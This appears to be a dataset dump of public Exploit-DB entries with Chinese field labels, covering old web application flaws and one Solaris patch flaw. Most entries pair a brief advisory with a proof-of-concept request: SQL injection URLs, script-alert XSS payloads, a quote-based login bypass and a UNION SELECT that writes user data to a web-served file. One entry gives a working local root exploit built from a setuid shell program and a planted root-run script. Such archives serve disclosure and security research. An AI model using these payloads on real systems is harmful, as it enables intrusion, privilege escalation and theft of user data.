QLWD/code_shield huggingface dataset:
标题: Relative Real Estate Systems 1.2 - SQL Injection EDB-ID: 26723 CVE: 2005-4019 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15714/info

Relative Real Estate Systems is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.example.com/index.php?name=&price_from=&price_to=&city=&state=SC&mls=[SQL]&bathroom=-1&bedrooms=-1&go=search&results=1 URL: https://www.exploit-db.com/exploits/26723
标题: Widget Property 1.1.19 - 'Property.php' SQL Injection EDB-ID: 26715 CVE: 2005-4016 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15701/info

Widget Press Widget Property is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'property.php' script before using it in an SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Widget Property 1.1.19 is reportedly vulnerable. Other versions may be affected as well. 

http://www.example.com/property.php?action=property&property_id=[SQL]

http://www.example.com/property.php?action=search&city_id=&zip_code
=[SQL]&price=&property_type_id=1&submit=submit

http://www.example.com/property.php?action=search&city_id=&zip_code=
&price=75000&property_type_id=[SQL]&submit=submit

http://www.example.com/property.php?action=search&city_id=&zip_code=
&price=[SQL]&property_type_id=&submit=submit

http://www.example.com/property.php?action=search&city_id=[SQL]&zip_code=
&price=&property_type_id=&submit=submit URL: https://www.exploit-db.com/exploits/26715
标题: Solaris Recommended Patch Cluster 6/19 (x86) - Local Privilege Escalation EDB-ID: 26709 CVE: 2010-1183 类型: LOCAL 平台: LINUX_X86 发布日期: 2013-07-09 漏洞利用脚本: Solaris Recommended Patch Cluster 6/19 local root on x86﻿

Larry W. Cashdollar
7/3/2013
@_larry0

If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.

Local root:

Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root.

./144751-01/SUNWos86r/install/postinstall


782 if [ -s /tmp/disketterc.d/rcs9.sh ] 783 then 784 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 785 fi

Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?

804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs) 805 TMPFILE=/tmp/ncrstmp 806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL E 807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases


./141445-09/SUNWos86r/install/postinstall


656 if [ -s /tmp/disketterc.d/rcs9.sh ] 657 then 658 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 659 fi


Well, it looks like you've got a few chances to abuse it:


larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \; ./144501-19/SUNWos86r/install/postinstall ./141445-09/SUNWos86r/install/postinstall ./142059-01/SUNWos86r/install/postinstall ./147148-26/SUNWos86r/install/postinstall ./127128-11/SUNWos86r/install/postinstall ./148889-03/SUNWos86r/install/postinstall ./142910-17/SUNWos86r/install/postinstall ./144751-01/SUNWos86r/install/postinstall

Psuedo PoC:

Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry.

chmod 666 /etc/shadow would be easy.

PoC:

larry@slowaris:~$ cat setuid.c 
#include 
#include 
int
main (void)
{
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  setregid (0, 0);
  setreuid (0, 0);
  execve ("/bin/sh", shell, NULL);
  return(0);
}

gcc -o /tmp/r00t setuid.c

larry@slowaris:~$ cat /tmp/diskette_rc.d/rcs9.sh chown root:root /tmp/r00t chmod +s /tmp/r00t

After patches have been applied:

larry@slowaris:~$ /tmp/r00t
# id

uid=0(root) gid=0(root) URL: https://www.exploit-db.com/exploits/26709
标题: PHPYellowTM 5.33 - 'search_result.php?haystack' SQL Injection EDB-ID: 26713 CVE: 2005-4001 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15700/info

phpYellowTM is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/search_result.php?search=url&haystack=[SQL] URL: https://www.exploit-db.com/exploits/26713
标题: PHPYellowTM 5.33 - 'print_me.php?ckey' SQL Injection EDB-ID: 26714 CVE: 2005-4001 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15700/info
 
phpYellowTM is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/print_me.php?ckey=[SQL] URL: https://www.exploit-db.com/exploits/26714
标题: PHP-Fusion 6.0.109 - 'messages.php' SQL Injection EDB-ID: 26706 CVE: 2005-4005 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15698/info

PHP-Fusion is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/messages.php?folder=inbox&srch_text=a&srch_type=blehblahbleh&sort_type=blahblehblah&srch_submit=Search%20/%20Sort URL: https://www.exploit-db.com/exploits/26706
标题: SiteBeater News 4.0 - 'Archive.asp' Cross-Site Scripting EDB-ID: 26705 CVE: 2005-4000 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15697/info

SiteBeater News is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ArticleDisplay/Archive.asp?DOMAIN_Link=&sSort=SubmitDate&iSearchID=389&sKeywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/26705
标题: ASPS Shopping Cart Lite 2.1/Professional 2.9 d - 'bsearch.asp?b_search' Cross-Site Scripting EDB-ID: 26702 CVE: 2005-4003 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15694/info
 
ASPS Shopping Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.

http://www.example.com/products/bsearch.asp?b_search=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&x=12&y=7 URL: https://www.exploit-db.com/exploits/26702
标题: Java Search Engine 0.9.34 - search.jsp Cross-Site Scripting EDB-ID: 26700 CVE: 2005-3966 类型: WEBAPPS 平台: JSP 发布日期: 2005-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15687/info

Java Search Engine is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/search.jsp?oe=english&q=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&qor= URL: https://www.exploit-db.com/exploits/26700
标题: Alisveristr E-Commerce Login - Multiple SQL Injections EDB-ID: 26707 CVE: 2005-4081 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15699/info

Alisveristr E-commerce is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following example is available:
Username : ' or ''='
Password : ' or ''=' URL: https://www.exploit-db.com/exploits/26707
标题: ASPS Shopping Cart Lite 2.1/Professional 2.9 d - 'adv_search.asp?srch_product_name' Cross-Site Scripting EDB-ID: 26701 CVE: 2005-4003 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15694/info

ASPS Shopping Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/products/adv_search.asp?srch_product_name=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&srch_product_price1=&srch_product_price2=&srch_product_stocknumber=&srch_product_category=&advance_submit=Search URL: https://www.exploit-db.com/exploits/26701
标题: NetClassifieds Standard 1.9/Professional 1.5/Premium 1.0 - 'gallery.php?CatID' SQL Injection EDB-ID: 26698 CVE: 2005-3978 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15683/info

NetClassifieds is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/gallery.php?CatID=[SQL] URL: https://www.exploit-db.com/exploits/26698
标题: NetClassifieds Standard 1.9/Professional 1.5/Premium 1.0 - 'ViewItem.php?ItemNum' SQL Injection EDB-ID: 26699 CVE: 2005-3978 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15683/info
 
NetClassifieds is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/ViewItem.php?ItemNum=[SQL] URL: https://www.exploit-db.com/exploits/26699
标题: Solupress News 1.0 - 'search.asp' Cross-Site Scripting EDB-ID: 26704 CVE: 2005-3998 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15695/info

Solupress News is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.asp?option=simple&keywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&submit1=Find URL: https://www.exploit-db.com/exploits/26704
标题: PHPMyChat 0.14.6 - 'users_popupL.php?From' Cross-Site Scripting EDB-ID: 26696 CVE: 2005-3991 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15679/info
  
phpMyChat is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
phpMyChat 0.14.5 is vulnerable; other versions may also be affected.

http://www.example.com/phpmychat/chat/users_popupL.php?From="><script>alert(29837274289742472);</script>>&L=english&LastCheck=1133281246&B=0 URL: https://www.exploit-db.com/exploits/26696
标题: Extreme Corporate 6.0 - 'Extremesearch.php' Cross-Site Scripting EDB-ID: 26692 CVE: 2005-3972 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15675/info

Extreme Search Corporate Edition is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 6.0 and prior are vulnerable; other versions may also be affected.

http://www.example.com/search/extremesearch.php?search=%3Cscript%3Ealert%28%27r0t+XSS%27%29%3C%2Fscript%3E&lang= URL: https://www.exploit-db.com/exploits/26692
标题: PHPMyChat 0.14.6 - 'start_page.css.php?medium' Cross-Site Scripting EDB-ID: 26694 CVE: 2005-3991 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15679/info

phpMyChat is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

phpMyChat 0.14.5 is vulnerable; other versions may also be affected.

http://www.example.com/phpmychat/chat/config/start_page.css.php?medium=><script>alert(29837274289742472);</script>&FontName=1 URL: https://www.exploit-db.com/exploits/26694
标题: 88Scripts Event Calendar 2.0 - 'index.php' SQL Injection EDB-ID: 26684 CVE: 2005-3933 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15658/info

88Scripts Event Calendar is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com//index.php?d=28&m=[SQL] URL: https://www.exploit-db.com/exploits/26684
标题: Instant Photo Gallery 1.0 - 'portfolio.php?cat_id' SQL Injection EDB-ID: 26685 CVE: 2005-3986 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15659/info

Instant Photo Gallery is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions v1 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/portfolio.php?cat_id=[SQL] URL: https://www.exploit-db.com/exploits/26685
标题: Edgewall Software Trac 0.9 Ticket Query Module - SQL Injection EDB-ID: 26693 CVE: 2005-3980 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15676/info

Trac is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/trac/query?group=/* URL: https://www.exploit-db.com/exploits/26693
标题: WebCalendar 1.0.1 - 'Layers_Toggle.php' HTTP Response Splitting EDB-ID: 26691 CVE: 2005-3982 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15673/info

WebCalendar is prone to an HTTP response-splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

WebCalendar 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to] URL: https://www.exploit-db.com/exploits/26691
标题: DotClear 1.2.1/1.2.2 - 'Session.php' SQL Injection EDB-ID: 26689 CVE: 2005-3963 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15667/info

DotClear is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/* URL: https://www.exploit-db.com/exploits/26689
标题: O-Kiraku Nikki 1.3 - 'Nikki.php' SQL Injection EDB-ID: 26683 CVE: 2005-3932 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15657/info

O-Kiraku Nikki is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.3 and prior are reported to be vulnerable; other versions may also be affected. 

http:///okiraku.php?lang=&day_id=[SQL] URL: https://www.exploit-db.com/exploits/26683
标题: PHPMyChat 0.14.6 - 'style.css.php?medium' Cross-Site Scripting EDB-ID: 26695 CVE: 2005-3991 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15679/info
 
phpMyChat is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
phpMyChat 0.14.5 is vulnerable; other versions may also be affected.

http://www.example.com/phpmychat/chat/config/style.css.php?medium=><script>alert(29837274289742472);</script>&FontName=1 URL: https://www.exploit-db.com/exploits/26695
标题: Instant Photo Gallery 1.0 - 'content.php?cid' SQL Injection EDB-ID: 26686 CVE: 2005-3986 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15659/info
 
Instant Photo Gallery is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions v1 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/content.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/26686
标题: SoftBiz FAQ 1.1 - 'print_article.php?id' SQL Injection EDB-ID: 26676 CVE: 2005-3938 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15653/info
   
Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/print_article.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26676
标题: WSN Knowledge Base 1.2 - 'comments.php?id' SQL Injection EDB-ID: 26680 CVE: 2005-3939 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15656/info
 
WSN Knowledge Base is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/comments.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26680
标题: SoftBiz FAQ 1.1 - 'add_comment.php?id' SQL Injection EDB-ID: 26677 CVE: 2005-3938 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15653/info
    
Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
    
Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/add_comment.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26677
标题: SoftBiz B2B trading Marketplace Script 1.1 - 'profiles.php?cid' SQL Injection EDB-ID: 26672 CVE: 2005-3937 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15652/info
   
Softbiz B2B Trading Marketplace is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Versions 1.1 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/profiles.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/26672